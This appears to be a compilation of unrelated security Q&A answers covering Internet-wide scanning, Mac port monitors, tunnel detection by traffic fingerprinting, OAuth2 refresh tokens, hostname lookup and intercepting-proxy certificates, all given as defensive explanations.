Would making an IIS web server appear to be running Apache instead improve security?

You don't need DNS names to be detectable.
The entire IPv4 can be scanned in less than a day. And it has been done. And it is still going on.
Therefore you must assume, that your IP address has been discovered.

You can download all the certificates for all the IPv4's port 443 from Rapid7's Sonar project.

-> Make this a nice demo. Download the 25 GB dump and show your CEO that your company's certificate is in there.
Further reading

Who’s Scanning Your Network? (A: Everyone)

Masscan: the entire Internet in 3 minutes


TCP / UDP port monitoring programs for mac?

Littlesnitch is well worth a look. It's not free however there is a 3 hour use limit at which point you need to restart the filter.

There is  also  a Lite version of GlowWorm but only supports Tiger.

Or HenWen, an OSX GUI for Snort.

I would pay for Littlesnitch if it were me, $30 US.


Limits of deep packet inspection wrt tunnels?

The detection of such type of tunnels is little bit difficult since they are using well known protocol which is generally allowed through the firewalls. Detection of such type of tunnels requires machine learning techniques but there is a chance of getting FPs.

Tool Fingerprinting:

There are various tool that tunnels data over well known protocols like iodine, dnscat, ptunnel. Fingerprinting these tool is an idea to detect the tunnel. Detecting these tools requires the knowledge of protocols for that refers RFCs, learn every aspect of the protocol and apply it to detect the tunnel. Now create a environment with this tool and capture the traffic using any ethereal tools(wireshark, tcpdump etc) and analyze the traffic. You will definitely find some patterns which will be unique to the tool. I'm telling this because I've detected above mentioned tools and more using this method because writing machine learning code requires more efforts.

The drawback of detecting tunnel using pattern is, you must have to check the updates when there is any for the tool but what I've seen the pattern is always same for all the tools.


Why have a refresh_token with an OAuth2 Client Credentials grant type?

I just found the answer elsewhere (credit to Florent Morselli):
Explanation
The issuance of a refresh token with the  client credential grant has no benefit.
That is why the RFC6749 section 4.4.3 indicates A refresh token SHOULD NOT be included. Thus its issuance is at the discretion of the authorization server.
From my point of view an authorization server should never issue a refresh token with the client credentials grant as the access token issuance process will take an additional and unnecessary step:
Issuance with the client_credentials grant type:

Step one: client authentication (client secret, assertion...)
OK access token is issued

Issuance with the refresh_token grant type:

Step one: client authentication (client secret, assertion...)
Step two: refresh token verification (expiration time, associated client...)
OK access token is issued


What's the mechanism used to extract my user name on a website?

Hostname can be retrieved by a DNS lookup on your IP address (PTR record). Your IP address is sent to the website at TCP level as your browser makes requests to retrieve content. The website simply uses that information.

Regarding username.... you do not specify which username is displayed. I can only assume you have registered and logged into the site.


Are self signed certs safe to a developer use in local debug?

I'd like to know if it's safe having these self signed certs installed in computer for some applications use, like Fiddler, Postman for instance, don't they open security breaches?

When you use intercepting proxies such as Fiddler and/or BurpSuite, the certificate needs to be imported in your browser. You have to trust this certificate in order to intercept HTTPS traffic.

The certificate that you are trusting is generated on your computer and is supposed to be different for all users that install these tools. In case of paranoia, you could regenerate the certificate after installing these tools (at least I know it is possible in BurpSuite)

I'd recommend only installing the certificate in the (one) browser only and use other browsers to do your non-developing work such as banking.